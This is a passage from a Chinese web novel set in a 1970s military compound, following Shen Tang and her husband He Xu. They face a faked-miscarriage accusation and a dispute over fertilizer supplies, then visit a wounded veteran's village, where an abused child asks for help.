偏偏贺旭这家伙总有家世好、又有文化的姑娘喜欢,他想起自己老家那个,就心里嫉妒的不行。 现在好了,他也娶了个有文化的姑娘。 对于贺旭上次提醒他的事,他一开始还觉得是贺旭好心,后面枕头风一吹,他觉得贺旭实在是太多嘴。 该不会是看他老婆厉害,心里有些不得劲吧? 吴团长意味深长的看了他一眼,笑道:“弟妹如今也怀了你的孩子,你可别再小孩子心性,咱们两家说不定以后还能结个亲家呢。” 贺旭勾了勾唇:“团长说笑了,等咱们两家的孩子长大,团长指不定高升到哪去了,认不认得我家孩子还有的说。” 吴团长顿时哈哈大笑,一边说着哪里,一边又止不住的高兴,还别说,这贺小子的话就是中听。 就在众人谈笑之际,石冰笑盈盈从旁边走来,端着杯子似要过来敬后面的人。 然而,就在路过沈棠身边时,忽然一个踉跄,脸色惊恐的整个人往前扑去。 沈棠背对着她,没注意到她这个情况,石冰直接摔在了凳子上,肚子猛的磕了一下 众人一惊,连忙过来拉她。 沈棠就在她身后,自然不可能不管,连忙将人拉起。 “石同志你怎么样?”和沈棠一桌的军嫂问她。 石冰肚子捂着肚子,脸色苍白:“我肚子好痛,沈棠……你为什么要故意绊我?” 沈棠瞳孔震惊,她穿越的是七零年吧,怎么感觉石冰在玩古代流产嫁祸那一套? “我绊你?我背对着你我怎么绊你?” 吴团长立马冲了过来抱起石冰往医院走,还不忘狠狠瞪了一眼沈棠。 一顿饭吃没吃两口,人仰马翻过后,纷纷去找车子去医院了。 贺旭也拉着沈棠跟着去了医院。 石冰虽然有流产征兆,但并不算严重,吃了中医开的保胎的药,歇在病床上观察。 她捏着吴团长的衣袖哭的可怜至极。 “我也不知道怎么回事,刚走到她后面就被绊了下,我也知道她背对着我,可能只是无意的,但我真的好害怕……这可是我和你第一个孩子啊。” 吴团长听了这话怒气上腾,安慰道:“别怕,孩子没事,我让她过来跟你道歉。” “呜呜……我早就说了,我和贺旭就是普通同学,她为什么还要针对我?” 石冰哭的越惨,吴团长心中的怒火就越高。 枉他将贺旭当成兄弟,还羡慕他娶了个漂亮老婆,没想到那老婆不仅是个妒妇,还是个毒妇! 瞥见贺旭和沈棠过来,吴团长冷眼相待,一个眼神都没给他们。 其他跟来的人也面面相觑,不明白好好吃个饭,怎么就变成这样了? “贺旭,我在战场上也没少照顾你吧,石冰再怎么说也是你嫂子,你妻子绊倒我老婆的事,你怎么看?” 沈棠刚要出口解释,贺旭便将她拉到了身后,锋利的眉眼冰冷的瞥向二人。 “团长,你凭什么认为是我妻子绊倒了你老婆?” 吴团长怒道:“难道我妻子还会拿肚子里的孩子来陷害你老婆不成?” 众人一听,也觉得不可能。 两家也没听过什么生死大仇啊。 贺旭笑了下:“那到不至于,我是想说,也许是石冰同志自己摔倒了,又怕真出了事担责任,索性就事扣在了我妻子身上。 毕竟,石冰同志可不是第一次这样做了。” 石冰长睫微垂,用手轻拭眼泪,看不出一点心慌的情绪。 吴团长不相信:“不可能,石冰为什么会害怕?跌倒就跌倒,又有什么好怕的?” 贺旭挑眉:“估计是害怕您打她,每次你教训吴河的时候,她可是站的远远的,明显是在害怕。” 吴团长脑子有点迷糊,好像确实是这样? 石冰这才掀起阴沉的眼皮:“贺营长这是什么意思?我家老吴教训儿子,又不是打女人,我怎么会怕他?你不要污蔑我。 当时我摔下来的时候,明显是绊倒了什么东西,当时只有沈棠在坐在那……” “我们可以做个实验。” 贺旭直接打断她:“糖糖,当时你怎么坐的?” 沈棠:“两条腿并立规规矩矩的放在桌子下呀。” 石冰尖声道:“不可能,我当时明明绊到了她的腿,她是两腿交叉放在凳下的!” 第一卷 第84章 那么石冰同志也该和我妻子道个歉 两腿交叉的放在凳子下的不是沈棠,而是沈棠旁边的婶子。 不过石冰可不管,别以为她不知道贺旭在背后提醒吴团长,她对吴河的好都在表面。 这次终于有机会陷害沈棠,她只要揪着她不放,吴团长这人必定会追究到底。 他三十八岁才迎来的第二个孩子,可珍惜的很。 贺旭微不可查的一笑:“好啊,既然你说两腿交叉往后放,那糖糖我给你拿张凳子试一下。” 外面柜台旁有椅子,沈棠坐上去两腿交叉往后放,在放松的时候,根本过不了屁股下的凳子,就算努力往后放,也只能过一点点,也没有到达能够绊人的程度。 “你自己看看,你家的凳子都是长凳,但我妻子肚子已经有起伏,所以不能坐太矮的凳子,于是我给她找了一张椅子,大概和这张凳子差不多,石冰同志,请问我妻子的腿要怎么伸才能绊倒你呢?” 吴团长拧起眉,转头看向石冰。 石冰面色微慌,垂下头来:“那可能是别人绊的,我太急看错了人。” 跟来的军嫂当中,就有一个是坐在沈棠旁边的。 一听石冰这意思,顿时也坐不住了:“不是,你什么意思,不是沈棠,那就是我绊倒你了?” 石冰额头青筋直跳:“我没说是你。” “你还没说是我?” 那军嫂年岁也不大,也才二十七八岁,来随军之前是村里的知青。 在农村待了几年,好不容易嫁给了个有前途的军人,她会蠢的听不懂石冰话里有话? 石冰说的别人绊她,可除了自己还有谁和沈棠坐一起? 没了啊,她就是说的她啊! 可她自己绊没绊人,自己还能不清楚吗? “我只有一米五八的身高,两条腿再交叉也过不了凳子,绊倒你?我还想说你是故意摔倒的呢! 我看贺营长说的没错,你就是自己摔倒了,又害怕吴团长打你,才会污蔑我们! 你们家那么宽敞,我们后面又不是没路,你偏偏要往我们后面贴着走,你这不是缺心眼吗?” 那军嫂骂完了石冰还不够,又继续骂吴团长:“还有团长你也是,前头那个虽然不听话,但你也不能打她呀,你看看给石冰吓的,要不是你长的太凶,至于连累我们被污蔑吗?” 吴团长被她气的青筋直跳,心里竟然也莫名觉得是石冰太过怕他才会污蔑别人。 他还自我反省了下,要是石冰这胎没了,他真的不会生气吗? 会,他会觉得石冰走不长眼,连个孩子都保不住。 石冰是不是也是这么想的呢? 吴团长带着怀疑看向石冰。 石冰:“……” 她震惊道:“你还怀疑我?” 她一把将枕头从床上扔了下去,怒道:“你是我丈夫,你为什么不站在我这边,你看看别人的丈夫,哪个会怀疑自己的妻子?” 吴团长心虚了下,想起医生说的她不能动气,连忙上前哄人:“是我错了,你别闹了,我不怀疑你了还不行吗?” 石冰更加生气了,这男人真是一点用都没有! 贺旭冷声道:“竟然误会解除了,那么石冰同志也该和我妻子道个歉,我妻子胆小,被你这么污蔑心里可不好受。” 石冰淡淡说了句:“抱歉,误会你了。” 沈棠转了转眸子:“我倒是不在意,只是以后石冰同志可别污蔑了其他嫂子,咱们军营的嫂子们可不都是城里来的,有些屎盆子扣头上,只怕八张嘴也难解释清楚。” 院门口的嫂子和营长们心里都赞同沈棠说的。 以后她们还是离远点石冰吧。 原以为是个好相处的,没想到在后背捅刀子这么狠。 她们可不像贺旭一样能说会道,万一被她逮着污蔑,还得连累自家丈夫。 石冰压制住心口的怒火,赶忙装柔弱解释:“我可能是看错了,当时也是太紧张了,真不是故意污蔑诸位嫂子的。” 众人面上什么也没说,还纷纷安慰着她。 吴团长毕竟是他们老公的顶头上司,大家都不想得罪他老婆,但私下里怎么说,就只有他们自己知道了。 时间也不早了,大家都各回各家,打算随便煮点饭吃了好睡觉。 到了家,沈棠狠狠喝了两口热水驱散寒气,贺旭也拿来毯子给她披上。 “你说这石冰是不是有病,连自己肚子里的孩子都能用来算计人?” 贺旭去厨房煮了点面条,回来应道:“她精神确实有点问题,初中毕业她爸带她去看过心理医生,回来就一直在吃药,不过具体是什么药我也不清楚。” 沈棠心里发愁:“石冰这样疯癫,逮着机会就要算计我,我要怎么才能让她自顾不暇呢?” 面条很快就煮好了。 贺旭还给她煎了两个荷包蛋,端出来让放在她面前。 “还记得王婶子吗?” 沈棠耳朵一动:“吴团长前头那个?” “我让人去查了,最近有了消息,王婶子回去的时候是昏迷的,上了火车后才醒了过来,带她回去的人是吴团长在部队里工作的一个远方亲戚,也不知道说了什么,王婶子回去之后也没闹。 我的人去王婶子那边秘密访问过,王婶子老了不止十岁,到了老家后,吴团长的母亲对她不是打就是骂,做事比以往沉默了很多。 我想,过不了几个月,她可能还会回来。” 沈棠咬着筷子:“那吴团长……” 潭师长对于这种没结婚又再娶的事并不多放在眼里。 男人建功立业后,自然会想要更漂亮的女人。 可一旦闹开,吴团长事业就毁于一旦了。 这也是为什么王翠花不敢上来闹的原因。 有人已经将道理掰碎了给她听。 她的儿子在吴团长膝下,如果闹开,不仅自己得不到好,还会连累他们的儿子。 “他既然做了,留下了这个把柄,就一定会有人用这件事拉他下马。 这一次去调查的,可不是只有我一个人,还有三波人,我不知道他们的目的,但也猜得到。 作为下属,我不会去告发他,我只是……不会提醒他。” 贺旭并不想做的那么绝,毕竟他们也曾是交托后背的战友。 可是他也不想放任石冰在家属院里谋害他的妻子。 故而,在知道有人调查这件事后,他便就将自己的人手收了回来,反而是去调查了一番这三波人都是谁的人。 不出意料,其中有两个人是部队的副营长。 唯一让他诧异的事,竟然还有一波人是首都来的。 王翠花不是吴团长的童养媳吗? 难道这其中还有什么其他的事? 第一卷 第85章 贺旭,你敢骂老子汉奸! 第二天还要上班,沈棠苦巴巴的从被窝里爬出来,顶着冷风去文工团。 石冰因为动了胎气请假了好几天。 下一次的演出又成了徐慧暂定领唱。 她转头看向徐慧的脸色,嗯,果然难看。 她要是替补她也难看。 几天后演出顺利进行。 沈棠刚下台,就被潭师长叫到了他办公室。 办公室里不只有潭师长,还有一个军区农场负责人李主任。 大概是谁给他气受了,脸色很是不太好,尤其是看到沈棠时。 “师长,您找我有事?” 潭师长瞥了一眼李主任,拿着干净的搪瓷杯给沈棠倒了一杯热水。 “我听说你帮海市饲料厂写了宣传稿?” 沈棠诧异:“师长您怎么知道的?” 李主任阴阳怪气:“呵,你帮人家饲料厂写宣传稿传的人尽皆知,化肥厂的人亲自请你都不帮忙,你是多看不上人家啊! 现在好了,人家化肥厂气的连肥料都不想卖给我们,农忙就那么几个月,缺了化肥,咱们部队要损失多少粮食?这么大的事,你担当的起吗?” 沈棠长这么大,头一次听到这么歪的道理,顿时气不打一处来:“李主任,你这话说好没道理,如果只是因为我没有帮他们写宣传稿,就不将化肥卖给你们了,那他们和国外那些卡我们脖子的资本主义有什么区别? 今日他们可以因为我不帮他们写宣传稿,就不将化肥卖给我们,来日他们觉得你李主任不适合做这个位置,也不将化肥卖给我们,后日他们觉得军区没给够价钱,也不卖给我们。 那我们成了什么,待宰的羔羊?” “李主任,你有时间指责我,为什么不趁着时间还够,多自己研究研究化肥?也免得被人卡脖子了。” “你说的轻巧,我要是能随随便便研究出来,我还能来问责你吗?” 李主任知道她说的话没错,可他心里还是不舒服。 被人卡了脖子,一肚子气都没处发,他都快气成河豚了。 偏偏沈棠还怀了孩子,他生怕多说两句,对方就闹肚子疼。 “可我记得你们已经成立了研究所,既然研究不出来,那你可以去人家工厂挖人,咱们是军区,有国家为我们做依靠,只要福利待遇够好,以后还能是研究所的人,说出去都好听,我要是工人,我也只会选择军区。” 沈棠端起搪瓷杯,嘬了一口热水驱散身体的寒气, 李主任瞪大眼睛:“这、这不太好吧?” 一辈子勤勤恳恳的工作达人李主任,根本不敢想还有这样解决卡脖子的心黑方式。 沈棠叹气:“实话跟您说吧,化肥厂的人是找过我,但人家化肥厂只给我十块钱写一份三千字的宣传稿。 我帮饲料厂写宣传稿,那都是要实地考察,且多方面验证过人家东西的,不仅劳累,而且一折腾就是好几天时间,更别说最后写宣传稿时需要不停的修改。 化肥厂那十块钱,我连双小皮鞋都买不到,我凭什么要帮他们几乎免费写宣传稿?” 李主任和谭师长愕然:“就十块?没别的了?” 沈棠撇嘴:“他们说我写的好,说不定能给我一个工作,骗谁呢?” 谭师长气的一拍桌子:“拒绝的好!李主任,我看人家化肥厂就是不想将化肥卖给我们军区,也别找什么借口了。” 他眉眼忧愁,无奈叹气:“这人啊总是多变,化肥厂厂长曾强国,当年和我还是好友,要是没有我们这些人在背后支持他,免费帮他实验,帮他拉人脉,借钱借地,他哪里能够将化肥厂做大做稳? 李主任,你务必给我完善个化肥研究所出来,海市绝不能只有一所化肥厂!” “是!”李主任应道。 沈棠心里松了口气,站起身来:“那师长,我先走了?” 潭师长点点头,安慰她:“你别多想,要是化肥厂找你麻烦,你回来告诉我,本来这件事就是化肥厂不占理。 你写的那篇《嫂子》我很欣赏,你看看有没有空闲时间帮我们军区的战士宣传一下?报酬肯定少不了你的。” 沈棠眼睛一亮:“可以啊,我排练不忙,但是您希望怎么写呢?” 军区有太多的机密,她要是随便写,可能发不出去。 潭师长顿了下:“就以那些牺牲在战场的人写吧,多写写他们的艰苦和为国家的奉献。” 沈棠:“好,那我先回去了。” 潭师长悠哉悠哉的走到窗边,看到底下骑着自行车过来接沈棠的贺旭,冲李主任挑了下眉:“建议你等会再离开。” 李主任不听他的,拿起自己的公文包就打算走了:“我那边还有一堆事要做呢,师长您呀,也别留我吃饭了。” 潭师长:“……” 脸皮倒是厚,他自家的粮食都不够呢,谁留他吃饭! 李主任一边琢磨着怎么才能将化肥厂技术部的人挖过来,刚拿过自行车,就听到刚刚把他怼的说不出话来的姑娘,跟个抖筛似的把刚刚在办公室里的话都说给了贺旭听。 时不时还娇气的控诉他一下。 李主任:他现在打道回办公室还来的及不? 贺旭漫不经心的瞥了一眼某个骑着自行车打算溜走的人,唇边挂起恰到好处的弧度。 “李主任,我家糖糖要是做错了什么,您可以跟我说,这要是没做错什么,您却要将莫须有的罪名按在我妻子身上,是不是太过分了点?” 李主任性子直,也很拗,他并不觉得自己做错了。 即使沈棠刚刚怼的他说不出话来,更帮他提出了解决办法,但农场没有买到化肥,他始终还是觉得是沈棠的问题。 她可以拒绝帮化肥厂写宣传稿,怎么就不同时拒绝其他工厂呢? 要知道她是他们军区的人,在外一举一动代表的是他们军区,闹出这样的事,李主任觉得沈棠这个人虽然聪明,但做事确实不够大气。 不过瞧见贺旭那高大的身形以及锐利如鹰冰冷的眸子,他有些心虚。 “这事我不追究了,你还想说什么?” 贺旭淡淡道:“您不追究,但我要追究,偌大的一个军区农场,被个化肥厂拿捏,不去问责外人,拿着自己人开刀,跪求人家原谅,您今儿个可算是让我知道了什么叫窝囊敲门——窝囊到家了。当年那些倭人要是看见你,那不得笑掉大牙,凭白让我们这些在前线奋战的人丢尽了脸!” “贺旭,你敢骂老子汉奸!” 李主任恼羞成怒,血液倒腾,气的差点晕过去。 他不就是问责了下沈棠,又没怎样她,这人至于骂的这么毒吗? 第一卷 第86章 贺旭这只老虎不在,窝里的兔子称霸王 贺旭讽刺似的勾了勾唇:“这可是你自己说的,我可什么都没说。” “李主任,我知道农场关系到全军区人的粮食问题,但你也要搞清楚,不是你重要就有理! 我妻子身处文工团,亦是在为军区做奉献,她怀着身孕兢兢业业的做好自己本职工作同时,有了空闲时间,还为我们军区宣扬军嫂的辛苦奉献,军人的训练艰辛以及战场上不畏生死的精神、更为那些底层人命发出过声音。 农场出事,本责在化肥厂,次责在你这个主任,你问责我妻子的时候,敢保证自己没有一丝一毫推卸责任之心吗?” 李主任脸色涨红。 他平日里就不是一个很会做人的人,说话从不拐弯抹角,得罪的人也很多。 要不然化肥厂也不可能因为这么一件小事就不给军区农场化肥了。 贺旭和谭师长其实比李主任看的更清楚,军区代表的是国家,化肥厂不可能不给军区农场化肥,何况海市的化肥厂厂长就是军区出来的。 沈棠这件事只是一个导火线,真正将化肥厂得罪,只可能是李主任本身。 化肥厂也不可能直接拒绝与军区的合作,顶多就是推迟,晾一晾李主任罢了。 李主任自己着急,闹到了潭师长面前,还把沈棠叫来一顿问责,贺旭心里自然不舒服。 李主任能坐到这个位置,自然离不开他那退休但关系网还不错的老爹。 其他人也就认了,可贺旭也是一个天不怕地不怕的人。 欺负他老婆,没门! 潭师长见李主任被气的火冒三丈,施施然的走了出来打圆场:“好了,这事错不在沈棠同志,李主任也没做什么,就是问一问,你们三个也别互相计较了,散了吧。” 李主任虽然气极,但心里还是有些发虚的,哼了一声就离开了。 潭师长见贺旭面色冰冷,黑眸阴沉,端着瓷搪杯好似随口一提:“我记得李主任的儿子似乎也在一团?” 贺旭眼睛一亮,抱起沈棠坐上自行车:“师长再见。” 老子不能打,儿子总能打吧? 沈棠双眸瞪的圆圆的,原来潭师长是个黑心虎啊! 李主任还以为师长偏心自己,开开心心的去了农场,不过他儿子就没那么幸运了,连续一个星期被贺旭训练对打,整个人都感觉要废了,有时候他都怀疑贺旭是在私心报复。 直到后来他休假回家,在妻子怀里哀哀戚戚,才知道原来是他爸把人家给得罪惨了。 李主任那边刚开始挖人还有些尴尬和腼腆。 但挖着挖着,他嘴角就控制不住弧度了。 挖人一时爽,一直挖人一直爽。 没过多久,研究所人满了。 事情过后,贺旭去出任务。 沈棠的肚子也慢慢大了起来,写完手上两部未完结的小说后她就没在写了。 主要是文工团那边演出的日子也多了起来,放假的时间少了很多,有时候还得下乡表演。 石冰没在作妖,因为吴团长他妈来了。 一进军区,那贼眉鼠眼的眼神不住的打量着周围环境,石冰大概是觉得丢了面子,并不怎么等她,脸色淡淡的走在前头。 吴母刚来部队,有些紧张自卑,但她又不是傻子,看不出来石冰这个态度,顿时心里就不舒服了。 石冰穿的漂漂亮亮,打扮的这么妖娆那还不是花的她儿子的钱? 二十多岁的黄花大姑娘喜欢他儿子,那是他儿子优秀! 石冰这样上赶着当后妈的,她可瞧不起。 要不是怕自家孙子在后妈手里吃苦,她才不会千里迢迢赶来呢。 沈棠虽然注意到了吴母的到来,但也没放在心上。 因为她上次给饲料厂写宣传稿,打出了饲料厂的名声,让饲料厂接了好几个外省的单子。 饲料厂那边不仅给了沈棠一千块钱,还给了价值两三百的票据,还赠送了她不少猪肉鱼肉以及水果。 饲料厂那边还想与沈棠合作,但被沈棠拒绝了。 宣传稿就相当于后世的广告,一但出了什么事,也会牵连到她。 她没打算一直做这个兼职。 不过答应了谭师长的宣传稿她自然也得尽力。 贺旭这只老虎不在,窝里的兔子称霸王。 起床号角一拉,沈棠就屁颠屁颠的挺着肚子去看人家兵哥哥训练了。 还不忘拉着李红一起去。 借口,帮她找对象。 这天,阳光明媚,文工团正好放假,沈棠大清早起来去食堂吃了饭,和李红回来的路上遇到一排光着上半身的军哥哥在训练。 她咧着嘴,拿出了小本本假装记录,然后和李红小声的讨论哪个更帅。 “身材不错吧。” 一道低磁阴沉的声音在背后响起。 光着上半身的军人们正在做俯卧撑,紧实魁梧的手臂支撑着上本身,偶尔露出紧绷而线条分明的腹肌,汗水从他们凌然的脸颊滑落,有些则顺着他们坚挺的蜂腰落下,隐入绿色的军裤消失不见。 “不错不错。” 沈棠欢快的点着小脑袋,嘴巴一咧露出洁白的牙齿,可见开心极了。 李红轻咳了声,戳了戳看的哈喇子都要流出来的沈棠。 沈棠别开她的手:“我帮你看对象呢。” 李红感觉后背那道嗜人的冷光更加阴沉了,不由打了个寒颤。 “……棠棠,我觉得你要不回一下头?” “后面还有更好的?” 沈棠漫不经心的往后一瞥,看见某人黑沉的脸,赶紧把头扭了回来。 内心的小人慌成了一团麻花,在那崩溃大叫:怎么办?看帅哥被老公抓到,她要怎么解释才能解释清楚? “我一定是出现幻觉了!” 身后的男人和李红同时一愣,仿佛听到有什么宕机的东西终于开机。 只见沈棠那眼圈说红就红,刚刚还咧着小嘴开心的不行的某人,此刻全是伤感。 “我肯定是太思念我老公,才会出现幻觉,李红我跟你说,我刚刚好像看见了贺旭。” 李红:“……” 不愧是你啊,大聪明。 有没有可能,你刚刚惊恐的表情已经被某个人全看在眼里了呢。 贺旭在后面阴恻恻的问:“糖糖这么思念我啊?” 第一卷 第87章 贺旭:耽误你看其他男人了? 沈棠这才回头,极其夸张的露出震惊,然后兴奋的抱住男人,惊喜的笑中带着心虚讨好:“呀,老公,你回来啦?” 贺旭黑眸全是阴冷,薄唇却勾了勾:“怎么,耽误你看其他男人了?” 沈棠眨了眨眼,立刻解释:“我怎么可能看别的男人?我这是在帮李红看对象,顺便写一写潭师长交给我的任务。” “是吗?可我看你刚刚看的挺起劲的。”贺旭眼底皆是讥讽。 沈棠知道他是真生气了,心里慌的不行,抠了抠手指,最后干脆倒打一耙:“贺旭,你竟然不信我!” 说完,她眼眶一红,泪水蓄眼眶,仿佛对他失望至极,转头就要离开这里 贺旭反手捏住她的脖子,拽着她的衣领就把人拖入了怀里:“出息了,自己犯错还会推到我身上来?” 沈棠被捏的一个激灵,那点鳄鱼眼泪也没了,机灵的眼珠子不停的转,最后捂着肚子轻哼了声:“哎呀,肚子疼~” 贺旭眉头一蹙,怀疑她是装的。 但看她脸色似乎真有点苍白,他也顾不得生气了,抱起人打算去医院,转头就被她阻止。 沈棠瞄了他一眼:“回家就好了,我就是刚刚看见你有点太激动。” 贺旭淡淡睨了她一眼:“吓的?” 沈棠心虚:“……你也可以觉得是惊的,惊喜的惊。” 贺旭磨了磨后槽牙,气的想把她打一顿。 回了家,沈棠就被按在床上很很收拾了一顿。 嘴巴都红肿了。 贺旭回来之后,沈棠迅速把潭师长交代的任务给完成。 两人去邮局寄了信,一同去医院产检。 三月入春,孩子也有四个月大了。 沈棠坐在椅子上,摸着肚子里孩子,神情温柔。 贺旭拿好单子,从包里拿出一颗大白奶兔糖递给她:“早上吃的少,这会儿你应该快饿了,吃一点垫垫肚子。” 沈棠开心接过。 旁边一同等着检查的妇人瞧见,有些羡慕:“你这一胎是男娃吧?” 沈棠摇头,侧头问:“不知道,这事可以问医生?” 要是可以问的话,她其实也想问问,没别的,就是好奇。 妇人悄声道:“一般不会说,但多央求几次,说不定会告诉。” 这时候还没有明文规定禁止查孩子的性别。 但医生也怕担责任,基本上不会告诉。 有些妇人重男轻女,一旦告诉了性别,就会将其打掉。 万一出了错,医生也是要担责的。 也有人会花钱跟医生打听,医生多半不会拒绝。 沈棠可不想花这个冤枉钱,她的孩子无论男女都是她的宝贝,提前知道顶多就是提前准备起男孩还是女孩穿的衣服而已,没什么区别。 来医院看病的大部分是军区的人,但也有很多是外来的。 刚刚和沈棠说话的那妇人就是附近乡下的。 她悄悄递了钱给医生,得知自己肚子里的孩子是个男娃后,腰都挺直了,脸上的笑容就没下来过。 出了医院,贺旭去拿车。 沈棠闲的无聊,随意瞥了一眼,瞧见石冰在她对面不远处,似乎是在等什么人。 没过多久,吴母就提着东西和她汇合了。 车上,贺旭问她:“今天有空,我打算去看个战友,路不远,就在海市下面的一个村子,你是想和我一起还是先回部队?” 沈棠:“和你一起吧,反正还早。” 她知道贺旭要去看谁,去年贺旭和郝运出了个极危险的任务,倒没有牺牲的人,只是有一个军人伤的极重,听说半条手臂都没了,因为是海市人,退伍的时候军区给他安排了个比较好的岗位。 到了供销社,贺旭提着一袋子水果,两包大白兔奶糖和酥饼,以及两罐麦乳精出来。 两人开着车一路往乡下去,这两天没下雨,路还算好走,不过乡下的黄土路坑坑洼洼,即使贺旭开的很慢很稳,但沈棠依旧感觉自己屁股一颠一颠,说话都是一高一下的。 也就是她身子养的好,不然她都不敢跟着贺旭来乡下。 应该是贺旭之前就打过电话给人家,到了村子口,沈棠就看到一个手臂断了半截的男人站在大树下等他们。 瞧见军车,麦黑的脸上露出笑容。 “营长,好久不见!” 江涛从口袋里拿出一包大前门烟,抽出一根递给贺旭。 贺旭摆手拒绝:“戒了,这是你嫂子,她怀着孩子呢。” 江涛看到沈棠,眼睛都直了,乡下人肤色都黑黄黑黄的,他老婆已经算漂亮了,这还是因为他娶的是城里来的知青。 可瞧见沈棠,淡黄色棉袄配着一件宽松白长裙,衬的她肤色玉白凝脂,头发黑长扎着蓬松两条辫子,一双浅褐色的秋瞳极清冷漂亮,偏偏笑起来又乖又俏,整个人的气质清纯动人,愣是把他一个没见过世面的男人看的脸都红了。 他咧着嘴打招呼:“嫂子你好,我叫江涛。” 沈棠点点头,声音如百灵鸟一样清脆:“你好。” 江涛听的耳尖竖起,暗暗对贺旭举起大拇指:不愧是营长,这么漂亮的姑娘也能追到! 大江村离海市近,村子经济状况比一般的村子要好的多,有好几家的人都参了军,村里很多老一辈都是退伍军人,故而对于贺旭开着车来看江涛并不稀奇。 沈棠被贺旭牵着,一边听着江涛给他们介绍村子和家里情况。 江涛是家里老二,今年二十二岁,之前是个排长,二十岁的时候听从家里的娶了个妻子,如今膝下已经有一个一岁多的儿子。 妻子是知青,嫁给他之后就当了村里的小学老师。 他受伤回家后,妻子一直不离不弃的照顾他,目前也已经怀孕两个月了。 沈棠听着,忽然察觉到旁边有人在看她,侧头一瞥,这才发现是个小孩。 那小子看起来只有四五岁的模样,穿的很少,只有一件单薄的长袖,脸上没什么肉,瘦的眼睛大大的,头发枯黄,看起来很是可怜。 第一卷 第88章 一夜七次郎的男人,果然体力惊人 贺旭和江涛都注意到了她的眼神。 顺着她的视线看去,江涛解释:“那个小孩是二团江宿江连长家的,江连长前头那个难产去世了,他们家孩子多,这孩子就不怎么受宠,后来江连长再娶了个老婆,但他后头那个老婆平日里对这孩子不是打就是骂,还闹的江家不安宁。 大家劝也劝过了,可惜江连长还没有随军资格,那女人又当面一套背里一套,还生了江连长的孩子,两人没办法离婚,这孩子也只能留在村子受苦。 我回来后,江连长托我照顾着些这孩子,可我平日里都在公社上上班,家里也有一堆事,根本照顾不了多少,顶多那女人打孩子的时候来阻止两次,可我越阻止,那女人打的越狠,我也不知道怎么管。” 江涛说完,冲那孩子招手。 孩子对江涛应该是有些信任的,犹豫了下走了过来。 “小南,是不是你后妈又打你了?” 江南摇头,看了一眼贺旭和沈棠就跑走了。 江涛没在意,只以为他好奇村子里来了新人,朝两人解释:“村子里的孩子都是被棍棒打着长大的,也就是江连长后娶的那个下手太厉害。不过想想,后娶的哪能将前头的孩子当成自己的孩子?也没见后妈会真心对待自家丈夫前头的孩子,等他长大点就好了。” 贺旭也是在后妈手下生活过的,他那后妈注重面子,从来不会亲手打他,只会挑拨他爸对他动手,那时候的他也是遍体鳞伤,不过他稍微长大点后,便不再乖乖的挨打了,打的厉害的时候也会逃。 江涛的话,其实也没错。 幼小的孩子没有话语权,又有一堆亲人在,即使他怜悯那个孩子,也没办法帮他。 妇联倒是可以阻止,可村子里的妇联大多不强硬,远水救不了近火,只会让火烧的更旺。 想要摆脱这种境况,只有等自己长大,或者他父亲回来了。 江涛爷爷是村长,房子虽然是土坯瓦房,但足有五间房,院子外面搭了棚子,用来养鸡鸭,故而院子里倒是干干净净的。 堂屋正对着门的墙上挂着主席的红像,桌子和凳子是木头的,应该是用了很多年,乌漆嘛黑的,看着像是染了很多污垢。 贺旭怕沈棠嫌弃,正想脱下自己衣服给她垫了一下,没醒到沈棠直接坐了下去。 他心中一暖,又有些心疼,沈棠自小娇生惯养,从来没有下过农村,这么毫不犹豫的坐下去,一定是为了照顾他的面子。 从村口走到江涛家,是有一段距离的。 沈棠累的不行,抬头就看到贺旭满眼温柔心疼的神色,小小的脑袋瓜满是问号? 这男人看着她干什么呢? 难道他一点都不累? 目光落在他那双笔直的大长腿上,心里嫉妒了。 一夜七次郎的男人,果然体力惊人。 “喝水。” 江涛端了水过来,和贺旭聊起以前。 “我这日子也不错了,上次那个任务,要不是营长你救我,我差点就以为自己不能活着回来了。” 他当时的伤很重,不仅仅是手臂被砍,身上也中了好几颗子弹,也离死亡只差一步之遥。 连遗言他都没打算说了。 是贺营长到最后也没放弃他,将他救了回来。 为此,江涛一直很感谢贺旭。 得知他来看他,更是恨不得备上好酒好菜。 “也是你自己撑着没放弃,过的好就行,有什么事可以去部队找我。” 两人聊许久,直到中午,江家上工的人回来,家里顿时就热闹了起来。 江涛的妻子生的很清秀,性子有些腼腆,不过怀里的孩子养的白白胖胖的,看着倒是可爱。 沈棠也社恐,不过眼馋人家白胖的儿子,就问了下怎么养的。 两人这才打开了话题,还越聊越起劲。 江母的手艺还不错,但他们家人太多了,江母生了三个儿子,大儿子生了两个孩子,江涛这个二儿子还生了一个,三儿子刚结婚,也即将要迎来子嗣,五间房都不够住的。 不过每对夫妻都能拥有自己的一间房,在大江村里已经是很难得了。 沈棠吃了饭,多喝了点水,就忍不住想上厕所。 问了江涛妻子后,这才知道他们家厕所在离他们房子不远处的小山脚下。 贺旭知道农村朴素的人多,但也有一些不尊敬守法的二流子,便陪着沈棠去上厕所。 农村的厕所……一言难尽。 即使江家厕所扫的很干净,还点着艾草,但沈棠依旧不敢多看一眼。 两人换着上,沈棠上完就在外面等贺旭。 这时,对面墙边探出一个小黑脑袋,男孩黑眸里全是小心翼翼,又带着一丝渴盼。 沈棠发现小孩脸上有些淤青,生了些怜悯之心。 “你是有什么事找我吗?” 这孩子从进村就一直跟着她,现在正是吃饭的时候,他也没回家,可见不是好奇,而是有什么事想拜托他们。 小孩看了看四周,小步走到她面前,小声的问:“姐姐,你能不能把这封信交给我爸爸?” 沈棠第一眼看到的并不是他手上的信,而是那短了一截的长袖下,掐的青青紫紫还有几条血红色鞭伤的瘦弱手腕。 小男孩很敏锐,赶忙将伤遮住了。 别人家的事,沈棠也不好说什么,毕竟他爷爷奶奶父亲都在。 她接过他手里的信,信里只有两句话,字写的歪歪扭扭。 依稀能看出来,一句是“爸爸我想你了”,一句是“你能来接我吗?” “你写的吗?” 这孩子看着也就只有五岁,居然会写字了? 小男孩点点头,从破旧的口袋里掏出那一毛钱递给她:“姐姐,这是我攒了很久的钱,都给你,你能不能帮我把信交给我爸爸?” 沈棠本身就怀着孩子,看着小孩那双清澈单纯的黑眸心软了又软。 “我帮你带,但是你爸爸要是收到信不回来怎么办?” 小男孩低着头,眼圈红红的,却努力扬着笑:“没关系的姐姐,爸爸看到信不回来也会写信给我的。” 稚嫩的声音听的人心头一酸。 沈棠从口袋里拿出几颗奶糖放到他手里,又将那一毛钱还给他,揉了揉他的小脑袋:“我帮你带,但钱就不用了,你叫什么名字?” 小男孩刚要说话,听到后面的厕所门有动静,脸色慌了慌,把奶糖和钱又塞进她怀里。 “谢谢姐姐,你有小宝宝了,这些东西我不能要的,我回家吃饭了。” 贺旭出来就只看到那小孩逃跑的背影。 